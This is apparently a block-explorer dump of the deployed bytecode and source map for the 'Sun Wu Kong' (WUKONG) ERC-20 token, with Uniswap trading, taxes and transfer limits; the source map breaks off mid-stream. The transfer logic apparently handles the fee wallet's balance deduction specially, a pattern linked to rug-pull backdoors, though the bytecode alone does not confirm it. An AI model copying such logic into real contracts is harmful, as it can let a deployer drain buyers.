0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063bcdb446b11610064578063bcdb446b146102e2578063bf474bed146102f7578063c876d0b91461030c578063c9567bf914610321578063dd62ed3e146103365761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b41146102985780639e78fb4f146102ad578063a9059cbb146102c25761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610356565b6040516101519190611654565b60405180910390f35b34801561016657600080fd5b5061017a61017536600461154f565b61037b565b6040516101519190611649565b34801561019357600080fd5b5061019c610399565b60405161015191906119bf565b3480156101b557600080fd5b5061019c61039f565b3480156101ca57600080fd5b5061017a6101d936600461150f565b6103c0565b3480156101ea57600080fd5b506101f3610448565b6040516101519190611a38565b34801561020c57600080fd5b5061019c61021b36600461149f565b61044d565b34801561022c57600080fd5b50610235610468565b005b34801561024357600080fd5b506102356104f0565b34801561025857600080fd5b5061019c6105bb565b34801561026d57600080fd5b506102766105c1565b60405161015191906115c7565b34801561028f57600080fd5b5061019c6105d0565b3480156102a457600080fd5b506101446105d6565b3480156102b957600080fd5b506102356105f6565b3480156102ce57600080fd5b5061017a6102dd36600461154f565b610828565b3480156102ee57600080fd5b5061023561083c565b34801561030357600080fd5b5061019c61087c565b34801561031857600080fd5b5061017a610882565b34801561032d57600080fd5b5061023561088b565b34801561034257600080fd5b5061019c6103513660046114d7565b610a36565b60408051808201909152600b81526a53756e205775204b6f6e6760a81b602082015290565b600061038f610388610a61565b8484610a65565b5060015b92915050565b60115481565b60006103ad6009600a611ac4565b6103bb90633b9aca00611b95565b905090565b60006103cd848484610b19565b61043d846103d9610a61565b61043885604051806060016040528060288152602001611c15602891396001600160a01b038a16600090815260026020526040812090610417610a61565b6001600160a01b031681526020810191909152604001600020549190610c6d565b610a65565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b610470610a61565b6000546001600160a01b039081169116146104a65760405162461bcd60e51b815260040161049d90611881565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104f8610a61565b6000546001600160a01b039081169116146105255760405162461bcd60e51b815260040161049d90611881565b6105316009600a611ac4565b61053f90633b9aca00611b95565b600e5561054e6009600a611ac4565b61055c90633b9aca00611b95565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105966009600a611ac4565b6105a490633b9aca00611b95565b6040516105b191906119bf565b60405180910390a1565b600e5481565b6000546001600160a01b031690565b600f5481565b60408051808201909152600681526557554b4f4e4760d01b602082015290565b6105fe610a61565b6000546001600160a01b0390811691161461062b5760405162461bcd60e51b815260040161049d90611881565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179081905561067c9030906001600160a01b031661066e6009600a611ac4565b61043890633b9aca00611b95565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ca57600080fd5b505afa1580156106de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070291906114bb565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561075f57600080fd5b505afa158015610773573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079791906114bb565b6040518363ffffffff1660e01b81526004016107b49291906115db565b602060405180830381600087803b1580156107ce57600080fd5b505af11580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080691906114bb565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600061038f610835610a61565b8484610b19565b610844610a61565b6000546001600160a01b039081169116146108715760405162461bcd60e51b815260040161049d90611881565b61087a47610ca7565b565b60105481565b60055460ff1681565b610893610a61565b6000546001600160a01b039081169116146108c05760405162461bcd60e51b815260040161049d90611881565b601354600160a01b900460ff16156108ea5760405162461bcd60e51b815260040161049d90611763565b6012546001600160a01b031663f305d71947306109068161044d565b6000806109116105c1565b426040518863ffffffff1660e01b81526004016109339695949392919061160e565b6060604051808303818588803b15801561094c57600080fd5b505af1158015610960573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610985919061159a565b505060135460125460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926109bf921690600019906004016115f5565b602060405180830381600087803b1580156109d957600080fd5b505af11580156109ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a11919061157a565b506013805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610a8b5760405162461bcd60e51b815260040161049d9061197b565b6001600160a01b038216610ab15760405162461bcd60e51b815260040161049d90611721565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b0c9085906119bf565b60405180910390a3505050565b6001600160a01b038316610b3f5760405162461bcd60e51b815260040161049d906118ff565b6001600160a01b038216610b655760405162461bcd60e51b815260040161049d906116a7565b60008111610b855760405162461bcd60e51b815260040161049d906118b6565b601354600160b01b900460ff161580610ba75750601354600160a81b900460ff165b15610c5d576001600160a01b038316600090815260016020526040902054610bcf9082610ce9565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610bfe9082610d2b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c509085906119bf565b60405180910390a3610c68565b610c68838383610d5a565b505050565b60008184841115610c915760405162461bcd60e51b815260040161049d9190611654565b506000610c9e8486611bb4565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610ce5573d6000803e3d6000fd5b5050565b600061044183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c6d565b600080610d388385611a46565b9050838110156104415760405162461bcd60e51b815260040161049d9061179a565b6000610d646105c1565b6001600160a01b0316846001600160a01b031614158015610d9e5750610d886105c1565b6001600160a01b0316836001600160a01b031614155b1561103e57610dcf6064610dc9600a54600d5411610dbe57600654610dc2565b6008545b8590611050565b90611095565b60055490915060ff1615610e4f576012546001600160a01b03848116911614801590610e0957506013546001600160a01b03848116911614155b15610e4f57326000908152600460205260409020544311610e3c5760405162461bcd60e51b815260040161049d906117d1565b3260009081526004602052604090204390555b6013546001600160a01b038581169116148015610e7a57506012546001600160a01b03848116911614155b8015610e9f57506001600160a01b03831660009081526003602052604090205460ff16155b15610f1157600e54821115610ec65760405162461bcd60e51b815260040161049d906116ea565b600f5482610ed38561044d565b610edd9190611a46565b1115610efb5760405162461bcd60e51b815260040161049d90611944565b600d8054906000610f0b83611bcb565b91905055505b6013546001600160a01b038481169116148015610f3757506001600160a01b0384163014155b15610f6457610f616064610dc9600b54600d5411610f5757600754610dc2565b6009548590611050565b90505b6000610f6f3061044d565b601354909150600160a81b900460ff16158015610f9957506013546001600160a01b038581169116145b8015610fae5750601354600160b01b900460ff165b8015610fbd5750600c54600d54115b8015610fe257506001600160a01b03851660009081526003602052604090205460ff16155b801561100757506001600160a01b03841660009081526003602052604090205460ff16155b1561103c576010548111156110335761103361102e84611029846011546110d7565b6110d7565b6110ec565b61103c47610ca7565b505b61104a84848484611291565b50505050565b60008261105f57506000610393565b600061106b8385611b95565b9050826110788583611a5e565b146104415760405162461bcd60e51b815260040161049d90611840565b600061044183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140d565b60008183116110e65782610441565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119657600080fd5b505afa1580156111aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ce91906114bb565b816001815181106111ef57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546112159130911684610a65565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061124e9085906000908690309042906004016119c8565b600060405180830381600087803b15801561126857600080fd5b505af115801561127c573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000806112b386600560019054906101000a90046001600160a01b031661143b565b9050806112c6576112c384611466565b91505b821561133e57306000908152600160205260409020546112e69084610d2b565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113359087906119bf565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546113619083610ce9565b6001600160a01b0387166000908152600160205260409020556113a66113878585610ce9565b6001600160a01b03871660009081526001602052604090205490610d2b565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113f08787610ce9565b6040516113fd91906119bf565b60405180910390a3505050505050565b6000818361142e5760405162461bcd60e51b815260040161049d9190611654565b506000610c9e8486611a5e565b6000816001600160a01b03848116908216141561145c576001915050610393565b5060009392505050565b6000600a611475836001611b95565b611480846000611b95565b61148b90600a611a46565b6114959190611a46565b6103939190611bb4565b6000602082840312156114b0578081fd5b813561044181611bfc565b6000602082840312156114cc578081fd5b815161044181611bfc565b600080604083850312156114e9578081fd5b82356114f481611bfc565b9150602083013561150481611bfc565b809150509250929050565b600080600060608486031215611523578081fd5b833561152e81611bfc565b9250602084013561153e81611bfc565b929592945050506040919091013590565b60008060408385031215611561578182fd5b823561156c81611bfc565b946020939093013593505050565b60006020828403121561158b578081fd5b81518015158114610441578182fd5b6000806000606084860312156115ae578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561168057858101830151858201604001528201611664565b818111156116915783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526017908201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a175784516001600160a01b0316835293830193918301916001016119f2565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a5957611a59611be6565b500190565b600082611a7957634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a905750611abb565b818704821115611aa257611aa2611be6565b80861615611aaf57918102915b9490941c938002611a81565b94509492505050565b600061044160001960ff851684600082611ae057506001610441565b81611aed57506000610441565b8160018114611b035760028114611b0d57611b3a565b6001915050610441565b60ff841115611b1e57611b1e611be6565b6001841b915084821115611b3457611b34611be6565b50610441565b5060208310610133831016604e8410600b8410161715611b6d575081810a83811115611b6857611b68611be6565b610441565b611b7a8484846001611a7e565b808604821115611b8c57611b8c611be6565b02949350505050565b6000816000190483118215151615611baf57611baf611be6565b500290565b600082821015611bc657611bc6611be6565b500390565b6000600019821415611bdf57611bdf611be6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611c1157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220137308709d6d93dee053abd0d81c52e97f7c7132c778dc24393d15aeca6a38af64736f6c63430008000033

Deployed Bytecode Sourcemap

4088:9881:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6030:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6913:186;;;;;;;;;;-1:-1:-1;6913:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5271:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6307:95::-;;;;;;;;;;;;;:::i;7107:446::-;;;;;;;;;;-1:-1:-1;7107:446:0;;;;;:::i;:::-;;:::i;6216:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6410:119::-;;;;;;;;;;-1:-1:-1;6410:119:0;;;;;:::i;:::-;;:::i;3119:148::-;;;;;;;;;;;;;:::i;:::-;;12625:201;;;;;;;;;;;;;:::i;5080:56::-;;;;;;;;;;;;;:::i;2905:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5143:58::-;;;;;;;;;;;;;:::i;6121:87::-;;;;;;;;;;;;;:::i;12934:391::-;;;;;;;;;;;;;:::i;6537:192::-;;;;;;;;;;-1:-1:-1;6537:192:0;;;;;:::i;:::-;;:::i;13871:95::-;;;;;;;;;;;;;:::i;5208:56::-;;;;;;;;;;;;;:::i;4427:40::-;;;;;;;;;;;;;:::i;13333:493::-;;;;;;;;;;;;;:::i;6737:168::-;;;;;;;;;;-1:-1:-1;6737:168:0;;;;;:::i;:::-;;:::i;6030:83::-;6100:5;;;;;;;;;;;;-1:-1:-1;;;6100:5:0;;;;6030:83;:::o;6913:186::-;7013:4;7030:39;7039:12;:10;:12::i;:::-;7053:7;7062:6;7030:8;:39::i;:::-;-1:-1:-1;7087:4:0;6913:186;;;;;:::o;5271:55::-;;;;:::o;6307:95::-;6360:7;4943:15;4887:1;4943:2;:15;:::i;:::-;4930:28;;:10;:28;:::i;:::-;6380:14;;6307:95;:::o;7107:446::-;7239:4;7256:36;7266:6;7274:9;7285:6;7256:9;:36::i;:::-;7303:220;7326:6;7347:12;:10;:12::i;:::-;7374:138;7430:6;7374:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7374:19:0;;;;;;:11;:19;;;;;;7394:12;:10;:12::i;:::-;-1:-1:-1;;;;;7374:33:0;;;;;;;;;;;;-1:-1:-1;7374:33:0;;;:138;:37;:138::i;:::-;7303:8;:220::i;:::-;-1:-1:-1;7541:4:0;7107:446;;;;;;:::o;6216:83::-;4887:1;6216:83;:::o;6410:119::-;-1:-1:-1;;;;;6503:18:0;6476:7;6503:18;;;:9;:18;;;;;;;6410:119::o;3119:148::-;3042:12;:10;:12::i;:::-;3032:6;;-1:-1:-1;;;;;3032:6:0;;;:22;;;3024:67;;;;-1:-1:-1;;;3024:67:0;;;;;;;:::i;:::-;;;;;;;;;3226:1:::1;3210:6:::0;;3189:40:::1;::::0;-1:-1:-1;;;;;3210:6:0;;::::1;::::0;3189:40:::1;::::0;3226:1;;3189:40:::1;3257:1;3240:19:::0;;-1:-1:-1;;;;;;3240:19:0::1;::::0;;3119:148::o;12625:201::-;3042:12;:10;:12::i;:::-;3032:6;;-1:-1:-1;;;;;3032:6:0;;;:22;;;3024:67;;;;-1:-1:-1;;;3024:67:0;;;;;;;:::i;:::-;4943:15:::1;4887:1;4943:2;:15;:::i;:::-;4930:28;::::0;:10:::1;:28;:::i;:::-;12679:12;:22:::0;4943:15:::1;4887:1;4943:2;:15;:::i;:::-;4930:28;::::0;:10:::1;:28;:::i;:::-;12712:14;:24:::0;12747:20:::1;:28:::0;;-1:-1:-1;;12747:28:0::1;::::0;;12791:27:::1;4943:15;4887:1;-1:-1:-1::0;4943:15:0::1;:::i;:::-;4930:28;::::0;:10:::1;:28;:::i;:::-;12791:27;;;;;;:::i;:::-;;;;;;;;12625:201::o:0;5080:56::-;;;;:::o;2905:79::-;2943:7;2970:6;-1:-1:-1;;;;;2970:6:0;2905:79;:::o;5143:58::-;;;;:::o;6121:87::-;6193:7;;;;;;;;;;;;-1:-1:-1;;;6193:7:0;;;;6121:87;:::o;12934:391::-;3042:12;:10;:12::i;:::-;3032:6;;-1:-1:-1;;;;;3032:6:0;;;:22;;;3024:67;;;;-1:-1:-1;;;3024:67:0;;;;;;;:::i;:::-;12986:15:::1;:104:::0;;-1:-1:-1;;;;;;12986:104:0::1;13037:42;12986:104;::::0;;;;13101:58:::1;::::0;13118:4:::1;::::0;-1:-1:-1;;;;;13133:15:0::1;4943;4887:1;4943:2;:15;:::i;:::-;4930:28;::::0;:10:::1;:28;:::i;13101:58::-;13204:15;;;;;;;;;-1:-1:-1::0;;;;;13204:15:0::1;-1:-1:-1::0;;;;;13204:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13186:55:0::1;;13264:4;13284:15;;;;;;;;;-1:-1:-1::0;;;;;13284:15:0::1;-1:-1:-1::0;;;;;13284:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13186:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13170:13;:147:::0;;-1:-1:-1;;;;;;13170:147:0::1;-1:-1:-1::0;;;;;13170:147:0;;;::::1;::::0;;;::::1;::::0;;12934:391::o;6537:192::-;6640:4;6657:42;6667:12;:10;:12::i;:::-;6681:9;6692:6;6657:9;:42::i;13871:95::-;3042:12;:10;:12::i;:::-;3032:6;;-1:-1:-1;;;;;3032:6:0;;;:22;;;3024:67;;;;-1:-1:-1;;;3024:67:0;;;;;;;:::i;:::-;13923:35:::1;13936:21;13923:12;:35::i;:::-;13871:95::o:0;5208:56::-;;;;:::o;4427:40::-;;;;;;:::o;13333:493::-;3042:12;:10;:12::i;:::-;3032:6;;-1:-1:-1;;;;;3032:6:0;;;:22;;;3024:67;;;;-1:-1:-1;;;3024:67:0;;;;;;;:::i;:::-;13395:11:::1;::::0;-1:-1:-1;;;13395:11:0;::::1;;;13394:12;13386:48;;;;-1:-1:-1::0;;;13386:48:0::1;;;;;;;:::i;:::-;13455:15;::::0;-1:-1:-1;;;;;13455:15:0::1;:31;13494:21;13539:4;13559:24;13539:4:::0;13559:9:::1;:24::i;:::-;13598:1;13614::::0;13630:7:::1;:5;:7::i;:::-;13652:15;13455:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13696:13:0::1;::::0;13727:15:::1;::::0;13689:71:::1;::::0;-1:-1:-1;;;13689:71:0;;-1:-1:-1;;;;;13696:13:0;;::::1;::::0;-1:-1:-1;13689:29:0::1;::::0;:71:::1;::::0;13727:15:::1;::::0;-1:-1:-1;;13745:14:0;13689:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13771:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;13771:18:0;;::::1;-1:-1:-1::0;;;13771:18:0::1;13800;-1:-1:-1::0;;;13800:18:0::1;::::0;;13333:493::o;6737:168::-;-1:-1:-1;;;;;6870:18:0;;;6843:7;6870:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6737:168::o;452:98::-;532:10;452:98;:::o;7561:335::-;-1:-1:-1;;;;;7654:19:0;;7646:68;;;;-1:-1:-1;;;7646:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7733:21:0;;7725:68;;;;-1:-1:-1;;;7725:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7804:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7856:32;;;;;7834:6;;7856:32;:::i;:::-;;;;;;;;7561:335;;;:::o;11091:592::-;-1:-1:-1;;;;;11179:18:0;;11171:68;;;;-1:-1:-1;;;11171:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11258:16:0;;11250:64;;;;-1:-1:-1;;;11250:64:0;;;;;;;:::i;:::-;11342:1;11333:6;:10;11325:64;;;;-1:-1:-1;;;11325:64:0;;;;;;;:::i;:::-;11407:11;;-1:-1:-1;;;11407:11:0;;;;11406:12;;:22;;-1:-1:-1;11422:6:0;;-1:-1:-1;;;11422:6:0;;;;11406:22;11402:223;;;-1:-1:-1;;;;;11463:15:0;;;;;;:9;:15;;;;;;:27;;11483:6;11463:19;:27::i;:::-;-1:-1:-1;;;;;11445:15:0;;;;;;;:9;:15;;;;;;:45;;;;11521:13;;;;;;;:25;;11539:6;11521:17;:25::i;:::-;-1:-1:-1;;;;;11505:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11566:26;;;;;;;;;;11585:6;;11566:26;:::i;:::-;;;;;;;;11607:7;;11402:223;11645:30;11658:4;11664:2;11668:6;11645:12;:30::i;:::-;11091:592;;;:::o;1707:224::-;1827:7;1863:12;1855:6;;;;1847:29;;;;-1:-1:-1;;;1847:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1887:9:0;1899:5;1903:1;1899;:5;:::i;:::-;1887:17;1707:224;-1:-1:-1;;;;;1707:224:0:o;12834:92::-;12891:10;;:27;;:10;;;;-1:-1:-1;;;;;12891:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12834:92;:::o;1563:136::-;1621:7;1648:43;1652:1;1655;1648:43;;;;;;;;;;;;;;;;;:3;:43::i;1376:179::-;1434:7;;1466:5;1470:1;1466;:5;:::i;:::-;1454:17;;1495:1;1490;:6;;1482:46;;;;-1:-1:-1;;;1482:46:0;;;;;;;:::i;7904:2441::-;7988:17;8032:7;:5;:7::i;:::-;-1:-1:-1;;;;;8024:15:0;:4;-1:-1:-1;;;;;8024:15:0;;;:32;;;;;8049:7;:5;:7::i;:::-;-1:-1:-1;;;;;8043:13:0;:2;-1:-1:-1;;;;;8043:13:0;;;8024:32;8020:2262;;;8085:208;8289:3;8085:181;8149:15;;8137:9;;:27;8136:111;;8233:14;;8136:111;;;8193:12;;8136:111;8085:6;;:28;:181::i;:::-;:203;;:208::i;:::-;8314:20;;8073:220;;-1:-1:-1;8314:20:0;;8310:522;;;8395:15;;-1:-1:-1;;;;;8381:30:0;;;8395:15;;8381:30;;;;:83;;-1:-1:-1;8450:13:0;;-1:-1:-1;;;;;8436:28:0;;;8450:13;;8436:28;;8381:83;8355:462;;;8570:9;8541:39;;;;:28;:39;;;;;;8583:12;-1:-1:-1;8507:213:0;;;;-1:-1:-1;;;8507:213:0;;;;;;;:::i;:::-;8772:9;8743:39;;;;:28;:39;;;;;8785:12;8743:54;;8355:462;8878:13;;-1:-1:-1;;;;;8870:21:0;;;8878:13;;8870:21;:72;;;;-1:-1:-1;8926:15:0;;-1:-1:-1;;;;;8912:30:0;;;8926:15;;8912:30;;8870:72;:116;;;;-1:-1:-1;;;;;;8964:22:0;;;;;;:18;:22;;;;;;;;8963:23;8870:116;8848:438;;;9039:12;;9029:6;:22;;9021:60;;;;-1:-1:-1;;;9021:60:0;;;;;;;:::i;:::-;9156:14;;9146:6;9130:13;9140:2;9130:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9100:140;;;;-1:-1:-1;;;9100:140:0;;;;;;;:::i;:::-;9259:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8848:438;9312:13;;-1:-1:-1;;;;;9306:19:0;;;9312:13;;9306:19;:44;;;;-1:-1:-1;;;;;;9329:21:0;;9345:4;9329:21;;9306:44;9302:332;;;9383:235;9614:3;9383:204;9455:16;;9443:9;;:28;9442:122;;9549:15;;9442:122;;;9504:13;;9383:6;;:32;:204::i;:235::-;9371:247;;9302:332;9650:28;9681:24;9699:4;9681:9;:24::i;:::-;9743:6;;9650:55;;-1:-1:-1;;;;9743:6:0;;;;9742:7;:47;;;;-1:-1:-1;9776:13:0;;-1:-1:-1;;;;;9770:19:0;;;9776:13;;9770:19;9742:47;:79;;;;-1:-1:-1;9810:11:0;;-1:-1:-1;;;9810:11:0;;;;9742:79;:130;;;;;9854:18;;9842:9;;:30;9742:130;:176;;;;-1:-1:-1;;;;;;9894:24:0;;;;;;:18;:24;;;;;;;;9893:25;9742:176;:220;;;;-1:-1:-1;;;;;;9940:22:0;;;;;;:18;:22;;;;;;;;9939:23;9742:220;9720:551;;;10023:17;;10000:20;:40;9997:205;;;10065:117;10108:51;10112:6;10120:38;10124:20;10146:11;;10120:3;:38::i;:::-;10108:3;:51::i;:::-;10065:16;:117::i;:::-;10220:35;10233:21;10220:12;:35::i;:::-;8020:2262;;10294:43;10309:4;10315:2;10319:6;10327:9;10294:14;:43::i;:::-;7904:2441;;;;:::o;1939:246::-;1997:7;2021:6;2017:47;;-1:-1:-1;2051:1:0;2044:8;;2017:47;2074:9;2086:5;2090:1;2086;:5;:::i;:::-;2074:17;-1:-1:-1;2119:1:0;2110:5;2114:1;2074:17;2110:5;:::i;:::-;:10;2102:56;;;;-1:-1:-1;;;2102:56:0;;;;;;;:::i;2193:132::-;2251:7;2278:39;2282:1;2285;2278:39;;;;;;;;;;;;;;;;;:3;:39::i;12019:107::-;12076:7;12108:1;12104;:5;12103:15;;12117:1;12103:15;;;-1:-1:-1;12113:1:0;12019:107;-1:-1:-1;12019:107:0:o;12134:483::-;5610:6;:13;;-1:-1:-1;;;;5610:13:0;-1:-1:-1;;;5610:13:0;;;12236:16:::1;::::0;;12250:1:::1;12236:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12236:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12236:16:0::1;12212:40;;12281:4;12263;12268:1;12263:7;;;;;;-1:-1:-1::0;;;12263:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12263:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12307:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12307:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12263:7;;12307:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12297:4;12302:1;12297:7;;;;;;-1:-1:-1::0;;;12297:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12297:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12372:15:::1;::::0;12340:62:::1;::::0;12357:4:::1;::::0;12372:15:::1;12390:11:::0;12340:8:::1;:62::i;:::-;12413:15;::::0;:196:::1;::::0;-1:-1:-1;;;12413:196:0;;-1:-1:-1;;;;;12413:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12494:11;;12413:15:::1;::::0;12536:4;;12563::::1;::::0;12583:15:::1;::::0;12413:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5646:6:0;:14;;-1:-1:-1;;;;5646:14:0;;;-1:-1:-1;;;;12134:483:0:o;10353:730::-;10501:19;10535:12;10550:28;10561:4;10567:10;;;;;;;;;-1:-1:-1;;;;;10567:10:0;10550;:28::i;:::-;10535:43;;10603:7;10599:74;;10641:20;10654:6;10641:12;:20::i;:::-;10627:34;;10599:74;10689:13;;10685:204;;10764:4;10746:24;;;;:9;:24;;;;;;:71;;10793:9;10746:28;:71::i;:::-;10737:4;10719:24;;;;:9;:24;;;;;;;:98;;;;10837:40;;-1:-1:-1;;;;;10837:40:0;;;;;;;10867:9;;10837:40;:::i;:::-;;;;;;;;10685:204;-1:-1:-1;;;;;10919:15:0;;;;;;:9;:15;;;;;;:32;;10939:11;10919:19;:32::i;:::-;-1:-1:-1;;;;;10901:15:0;;;;;;:9;:15;;;;;:50;10978:40;10996:21;:6;11007:9;10996:10;:21::i;:::-;-1:-1:-1;;;;;10978:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10962:13:0;;;;;;;:9;:13;;;;;:56;;;;11034:41;;;11053:21;:6;11064:9;11053:10;:21::i;:::-;11034:41;;;;;;:::i;: